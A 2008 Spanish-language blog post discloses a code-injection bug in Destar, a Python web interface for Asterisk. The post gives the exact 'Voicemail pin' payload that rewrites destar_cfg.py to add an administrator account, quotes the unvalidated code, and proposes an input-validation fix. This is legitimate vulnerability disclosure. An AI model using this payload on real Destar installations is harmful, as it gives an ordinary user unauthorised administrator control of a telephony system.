sábado, 22 de marzo de 2008

Bug1 and exploit1 for destar

Destar es una interfaz web (programada en python) para manejar Asterisk.
La parte interesante es que unos colombianos son los que han estado liderando el proyecto en los ultimos años. (Buena por esa!!!).

El siguiente bug lo encontre mientras jugaba un poco con la interfaz, espero que lo entiendan, que apliquen el conocimiento, que usen los PoC de forma responsable and so on ...



La explotación del bug permite que un usuario normal (como tu o como yo), con privilegios de usuario: "user", pueda crear una cuenta de administrador para entrar a la plataforma. Como lo logra?

El bug esta en el archivo que parsea la informacion de la sección : PhoneSettings, a donde tiene acceso un usuario normal.



Estos datos pueden ser modificados por el usuario, ya que hacen parte de su perfil. Lo que voy a intentar es meterle a los campos cosas extrañas, voy a probar por ejemplo con el campo "Voicemail pin", que es la clave para escuchar los mensajes de voz que me dejen en la extension.

Cuando introduzco "cosas raras", puedo lograr que se modifique el archivo /etc/asterisk/destar_cfg.py que es el que guarda la informacion de destar y que hace a su vez de base de datos, puesto que el autor manifiesta que usara este modo, porque no quiere complicarse con otras cosas (el autor anterior a los colombianos).

La estructura normal del archivo es:

CfgOptUser(
name = "astridlabella",
secret = "astridlabella",
pc = "64.233.167.99",
phone = "agent1",
pbx = "pbx1",
level = "1",
language = "es",
)

CfgPhoneSip(
pbx = "pbx1",
name = "phone1",
secret = "/GPOyGmK",
ext = "2004",
dtmfmode = "rfc2833",
enablecallgroup = True,
callgroup = "2",
panel = True,
calleridnum = "2004",
calleridname = "Phone 1",
dialout_local = True,
dialout_international = True,
dialout_018X_numbers = True,
)
etc...

Dependiendo de los objetos que busque, hay algo que saca los campos correspondientes y los usa.

Bueno, lo que se hace inyectando codigo, es hacer que una entrada de una extension telefonica como la que vemos arriba, se transforme en:

CfgPhoneSip(
pbx = "pbx1",
name = "agent3",
secret = "LOCO",
ext = "2003",
dtmfmode = "rfc2833",
enablecallgroup = True,
callgroup = "1",
queues = "queue1",
panel = True,
pin = 1234,) ; CfgOptUser(name="theroot",secret="theroot",pc="200.13.247.89",phone="agent1",pbx="pbx1",level="2",language="en",) ;CfgPhoneSip(pbx="pbx1000",name="OpenBSD-Agent",secret="imsecure",ext= "2999",dtmfmode = "rfc2833",enablecallgroup = True,callgroup = "1",queues="queue1",panel= True,,
calleridnum = "2003",
calleridname = "Agent 3",
dialout_local = True,
dialout_international = True,
dialout_018X_numbers = True,
)


Observen el codigo despues de la clave '1234' en el campo "pin".
Ese codigo lo que hace es conservar la estructura del archivo y asu vez, crear una nueva instancia (un nuevo usuario), que tiene level="3" (administrador).
si logramos hacer ese cambio ya podemos loguearnos como usuario theroot, con clave theroot y seremos administradores de destar.

Recuerden que para esto es indispensable acceso como usuario sin privilegios.

La parte vulnerable del código es:
87
88 if form["pin"]:
89 phone.pin = form["pin"]
90 try:
91 if form["secret"]:
92 phone.secret = form["secret"]
93 except KeyError:
94 pass
95 backend.updateConfiglet(phone)
96 try:
97 backend.createPythonConfig()
98 except IOError:

En el archivo: page_user_settings.ptl, linea 89, donde no hay ninguna validacion para el valor del campo "pin" que se toma del formulario.

Un posible parche es verificar cada parametro que se recibe de los formularios antes de insertarlos en los archivos. O sea modificar el metodo updateConfiglet() de la clase ConfigletTree en el archivo configlets.py.

Aunque no se si eso hace parte de Quixote o de destar.
Sin embargo en el codigo de destar tambien se podria hacer algo (preventivo).

Una vez ejecutamos el exploit podemos ingresar a la interfaz y obtener lo siguiente:


El PoC lo pueden encontrar en los archivos de este blog -->

! Happy Hacking !

Entradas populares